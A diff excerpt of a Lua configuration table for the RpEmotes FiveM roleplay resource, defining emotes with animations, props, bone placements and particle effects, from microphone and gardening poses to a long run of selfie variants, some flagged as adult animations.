PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microck"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p1", + "mic@p1", + "Microphone Rock", + AnimationOptions = { + Prop = "sf_prop_sf_mic_01a", + PropBone = 28422, + PropPlacement = { + 0.0300, + 0.0200, + -0.0300, + 162.9608, + -91.1712, + -3.8249 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microckb"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p2", + "mic@p2", + "Microphone Rock 2", + AnimationOptions = { + Prop = "sf_prop_sf_mic_01a", + PropBone = 60309, -- Left Wrist + PropPlacement = { + 0.0350, + 0.0180, + 0.0290, + -180.0000, + -13.0000, + 0.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microckc"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p3", + "mic@p3", + "Microphone Rock 3", + AnimationOptions = { + Prop = "sf_prop_sf_mic_01a", + PropBone = 28422, + PropPlacement = { + 0.0300, + 0.0200, + -0.0300, + 162.9608, + -91.1712, + -3.8249 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microckd"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p4", + "mic@p4", + "Microphone Rock 4", + AnimationOptions = { + Prop = "sf_prop_sf_mic_01a", + PropBone = 28422, + PropPlacement = { + 0.0300, + 0.0200, + -0.0300, + 162.9608, + -91.1712, + -3.8249 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microcke"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p5", + "mic@p5", + "Microphone Rock 5", + AnimationOptions = { + Prop = "sf_prop_sf_mic_01a", + PropBone = 60309, + PropPlacement = { + 0.0370, + 0.0130, + 0.0150, + -173.6259, + -93.5253, + 4.6450 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microckf"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p6", + "mic@p6", + "Microphone Rock 6", + AnimationOptions = { + Prop = "v_ilev_fos_mic", + PropBone = 28422, + PropPlacement = { + -0.4410, + -1.0600, + -0.4800, + -57.7266, + 51.8164, + 3.0976 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microckg"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p7", + "mic@p7", + "Microphone Rock 7", + AnimationOptions = { + Prop = "v_ilev_fos_mic", + PropBone = 28422, + PropPlacement = { + -0.8210, + -0.0900, + -1.1900, + -2.5478, + 36.3684, + -11.7503 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microckh"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p8", + "mic@p8", + "Microphone Rock 8", + AnimationOptions = { + Prop = "sf_prop_sf_mic_01a", + PropBone = 60309, + PropPlacement = { + 0.0370, + 0.0130, + 0.0150, + -173.6259, + -93.5253, + 4.6450 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microcki"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p9", + "mic@p9", + "Microphone Rock 9", + AnimationOptions = { + Prop = "sf_prop_sf_mic_01a", + PropBone = 28422, + PropPlacement = { + 0.0300, + 0.0200, + -0.0300, + 162.9608, + -91.1712, + -3.8249 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["microckj"] = { --- Custom Emote Provided To RpEmotes By Prue颜 + "lunyx@mic@p10", + "mic@p10", + "Microphone Rock 10", + AnimationOptions = { + Prop = "sf_prop_sf_mic_01a", + PropBone = 28422, + PropPlacement = { + 0.0300, + 0.0200, + -0.0300, + 162.9608, + -91.1712, + -3.8249 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["leafblower"] = { + "amb@world_human_gardener_leaf_blower@base", + "base", + "Leaf Blower", + AnimationOptions = { + Prop = "prop_leaf_blower_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_armenian3", + PtfxName = "ent_anim_leaf_blower", + PtfxPlacement = { + 1.0, + 0.0, + -0.25, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('useleafblower'), + PtfxWait = 2000, + PtfxCanHold = true + } + }, + ["bbqf"] = { + "amb@prop_human_bbq@male@idle_a", + "idle_b", + "BBQ (Female)", + AnimationOptions = { + Prop = "prop_fish_slice_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pump"] = { + "missfbi4prepp1", + "idle", + "Pumpkin", + AnimationOptions = { + Prop = "prop_veg_crop_03_pump", + PropBone = 28422, + PropPlacement = { + 0.0200, + 0.0600, + -0.1200, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pump2"] = { + "anim@heists@box_carry@", + "idle", + "Pumpkin 2", + AnimationOptions = { + Prop = "prop_veg_crop_03_pump", + PropBone = 28422, + PropPlacement = { + 0.0100, + -0.16000, + -0.2100, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pump3"] = { + "missfbi4prepp1", + "idle", + "Pumpkin 3", + AnimationOptions = { + Prop = "reh_prop_reh_lantern_pk_01a", + PropBone = 28422, + PropPlacement = { + 0.0010, + 0.0660, + -0.0120, + 171.9169, + 179.8707, + -39.9860 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pump4"] = { + "missfbi4prepp1", + "idle", + "Pumpkin 4", + AnimationOptions = { + Prop = "reh_prop_reh_lantern_pk_01b", + PropBone = 28422, + PropPlacement = { + 0.0010, + 0.0660, + -0.0120, + 171.9169, + 179.8707, + -39.9860 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pump5"] = { + "missfbi4prepp1", + "idle", + "Pumpkin 5", + AnimationOptions = { + Prop = "reh_prop_reh_lantern_pk_01c", + PropBone = 28422, + PropPlacement = { + 0.0010, + 0.0660, + -0.0120, + 171.9169, + 179.8707, + -39.9860 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mop"] = { + "missfbi4prepp1", + "idle", + "Mop", + AnimationOptions = { + Prop = "prop_cs_mop_s", + PropBone = 28422, + PropPlacement = { + -0.0200, + -0.0600, + -0.2000, + -13.377, + 10.3568, + 17.9681 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mop2"] = { + "move_mop", + "idle_scrub_small_player", + "Mop 2", + AnimationOptions = { + Prop = "prop_cs_mop_s", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.1200, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["jerkf"] = { + "switch@trevor@jerking_off", + "trev_jerking_off_loop", + "JerkOff! Female", + AnimationOptions = { + Prop = 'prop_cs_dildo_01', + PropBone = 28422, + PropPlacement = { + 0.09, + 0.05, + -0.03, + 90.0, + 80.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + }, + AdultAnimation = true + }, + ["rake"] = { + "anim@amb@drug_field_workers@rake@male_a@base", + "base", + "Rake", + AnimationOptions = { + Prop = "prop_tool_rake", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true + } + }, + ["rake2"] = { + "anim@amb@drug_field_workers@rake@male_a@idles", + "idle_b", + "Rake 2", + AnimationOptions = { + Prop = "prop_tool_rake", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true + } + }, + ["rake3"] = { + "anim@amb@drug_field_workers@rake@male_b@base", + "base", + "Rake 3", + AnimationOptions = { + Prop = "prop_tool_rake", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true + } + }, + ["rake4"] = { + "anim@amb@drug_field_workers@rake@male_b@idles", + "idle_d", + "Rake 4", + AnimationOptions = { + Prop = "prop_tool_rake", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true + } + }, + ["broom"] = { + "anim@amb@drug_field_workers@rake@male_a@base", + "base", + "Broom", + AnimationOptions = { + Prop = "prop_tool_broom", + PropBone = 28422, + PropPlacement = { + -0.0100, + 0.0400, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["broom2"] = { + "anim@amb@drug_field_workers@rake@male_a@idles", + "idle_b", + "Broom 2", + AnimationOptions = { + Prop = "prop_tool_broom", + PropBone = 28422, + PropPlacement = { + -0.0100, + 0.0400, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["broom3"] = { + "anim@amb@drug_field_workers@rake@male_b@base", + "base", + "Broom 3", + AnimationOptions = { + Prop = "prop_tool_broom", + PropBone = 28422, + PropPlacement = { + -0.0100, + 0.0400, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["broom4"] = { + "anim@amb@drug_field_workers@rake@male_b@idles", + "idle_d", + "Broom 4", + AnimationOptions = { + Prop = "prop_tool_broom", + PropBone = 28422, + PropPlacement = { + -0.0100, + 0.0400, + -0.0300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["champw"] = { + "anim@move_f@waitress", + "idle", + "Champagne Waiter", + AnimationOptions = { + Prop = "vw_prop_vw_tray_01a", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0100, + 0.0, + 0.0, + 0.0 + }, + SecondProp = 'prop_champ_cool', + SecondPropBone = 28422, + SecondPropPlacement = { + 0.0, + 0.0, + 0.010, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["shit"] = { + "missfbi3ig_0", + "shit_loop_trev", + "Shit", + AnimationOptions = { + Prop = "prop_toilet_roll_01", + PropBone = 28422, + PropPlacement = { + 0.0700, + -0.02000, + -0.2100, + 0, + 0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_poo", + PtfxNoProp = true, + PtfxBone = 11816, + PtfxPlacement = { + 0.0, + 0.0, + -0.1, + 0.0, + 0.0, + 0.0, + 1.3 + }, + PtfxInfo = Translate('poop'), + PtfxWait = 0, + PtfxCanHold = true + } + }, + ["shit2"] = { + "missfbi3ig_0", + "nill", + "Shit While Walking", + AnimationOptions = { + Prop = "prop_toilet_roll_01", + PropBone = 28422, + PropPlacement = { + 0.0700, + -0.02000, + -0.2100, + 0, + 0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_poo", + PtfxNoProp = true, + PtfxBone = 11816, + PtfxPlacement = { + 0.0, + 0.0, + -0.1, + 0.0, + 0.0, + 0.0, + 1.4 + }, + PtfxInfo = Translate('poop'), + PtfxWait = 0, + PtfxCanHold = true + } + }, + ["puke"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023 + "cross_arms@dark", + "cross_arms_clip", + "Puke", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_paletoscore", + PtfxName = "scr_trev_puke", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('puke'), + PtfxWait = 0.8, + PtfxCanHold = true + }, + }, + ["puke2"] = { + "missheistpaletoscore1leadinout", + "trv_puking_leadout", + "Puke 2", + AnimationOptions = { + EmoteLoop = false, + EmoteMoving = true, + PtfxAsset = "scr_paletoscore", + PtfxName = "scr_trev_puke", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('puke'), + PtfxWait = 0.8, + PtfxCanHold = true + }, + }, + ["puke3"] = { + "anim@scripted@ulp_missions@injured_agent@", + "idle", + "Puke 3", + AnimationOptions = { + EmoteLoop = true, + PtfxAsset = "scr_paletoscore", + PtfxName = "scr_trev_puke", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('puke'), + PtfxWait = 0.8, + PtfxCanHold = true + }, + }, + ["puke4"] = { + "anim@scripted@freemode@throw_up_toilet@male@", + "vomit", + "Puke 4", + AnimationOptions = { + EmoteLoop = true, + PtfxAsset = "scr_paletoscore", + PtfxName = "scr_trev_puke", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('puke'), + PtfxWait = 0.8, + PtfxCanHold = true + }, + }, + ["selfie"] = { + "anim@mp_player_intuppertake_selfie", + "idle_a", + "Selfie", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfie2"] = { + "cellphone@self@franklin@", + "peace", + "Selfie 2", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfie3"] = { + "cellphone@self@franklin@", + "west_coast", + "Selfie 3 - West Side", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfie4"] = { + "cellphone@self@trevor@", + "aggressive_finger", + "Selfie 4 - Finger", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfie5"] = { + "cellphone@self@trevor@", + "proud_finger", + "Selfie 5 - Finger 2", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7}, + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfie6"] = { + "cellphone@self@trevor@", + "throat_slit", + "Selfie 6 - Throat Slit", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfie7"] = { + "cellphone@self@franklin@", + "chest_bump", + "Selfie 7 - Chest Bump", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiehigh"] = { -- Custom Emote By Darks Animations + "girl_groupe_b@darksj", + "girl_groupe_b_clip", + "Selfie High", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 26611, + PropPlacement = { + 0.0620, + -0.0400, + 0.0080, + -17.1672, + 9.8904, + -18.1951 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiepeace"] = { -- MissSnowie Custom Emote + "mirror_selfie@peace_sign", + "base", + "Selfie Peace", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 57005, + PropPlacement = { + 0.1700, + 0.0299, + -0.0159, + -126.2687, + -139.9058, + 35.6203 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiecrouch"] = { -- MissSnowie Custom Emote + "crouching@taking_selfie", + "base", + "Selfie Crouching", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 18905, + PropPlacement = { + 0.1580, + 0.0180, + 0.0300, + -150.4798, + -67.8240, + -46.0417 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiecrouch2"] = { -- Wolf's Square Custom Emote + "eagle@girlphonepose13", + "girl", + "Selfie Crouching 2", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 60309, + PropPlacement = { + 0.0670, + 0.0300, + 0.0300, + -90.0000, + 0.0000, + -25.9000 + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiecrouch3"] = { -- Custom Emote By Struggleville + "anim@male_insta_selfie", + "insta_selfie_clip", + "Selfie Crouching 3", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 60309, + PropPlacement = { + 0.0700, + 0.0100, + 0.0690, + 0.0, + 0.0, + -150.0000 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiecrouch4"] = { -- Custom emote by Struggleville + "anim@female_selfie_risque", + "selfie_risque_clip", + "Selfie Crouching 4", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 18905, + PropPlacement = { + 0.1580, + 0.0180, + 0.0300, + -150.4798, + -67.8240, + -46.0417 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfieegirl"] = { -- Custom emote by Struggleville + "anim@female_egirl_cute_selfie", + "cute_selfie_clip", + "Selfie E Girl", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 26613, -- Left Finger 30 + PropPlacement = { + 0.0760, + -0.0220, + 0.0350, + -22.0968, + 30.4351, + -7.9339 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfieslut"] = { -- Custom Emote By Struggleville + "anim@female_floor_slutarch_selfie", + "slutarch_selfie_clip", + "Selfie Slut Pose", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 58868, -- Right Finger 20 + PropPlacement = { + 0.0350, + 0.0140, + 0.0290, + 167.9999, + 180.0000, + -8.8999 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + + }, + AdultAnimation = true + }, + ["selfiesit"] = { -- Emote by WhiskerValeMod. Need to configure camera flash and texture variants + "mouse@female_sitting_selfie", + "female_sitting_selfie_clip", + "Selfie Sitting", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropBone = 57005, + PropPlacement = { + 0.1380, + 0.0300, + -0.0430, + -111.0946, + -117.8069, + 11.7386 + }, + SecondProp = 'apa_mp_h_stn_chairarm_23', + SecondPropBone = 0, + SecondPropPlacement = { + -0.0100, + -0.0800, + -0.6800, + -180.0000, + -180.0000, + 10.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["selfiesit2"] = { -- Emote by WolfSquareEmotes + "eagle@boypose05", + "boy", + "Selfie Sitting 2", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4090, -- Left Finger 2 + PropPlacement = { + 0.0130, + 0.0120, + -0.0070, + -103.6673, + -11.0026, + 18.2605 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiesit3"] = { -- Emote by Chocoholic Animations + "chocoholic@single77", + "single77_clip", + "Selfie Sitting 3", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4185, + PropPlacement = { + 0.0130, + -0.0190, + 0.0320, + 0.0, + 0.0000, + 0.0, + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiesit4"] = { -- Emote by Chocoholic Animations + "chocoholic@single89", + "single89_clip", + "Selfie Sitting 4", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + 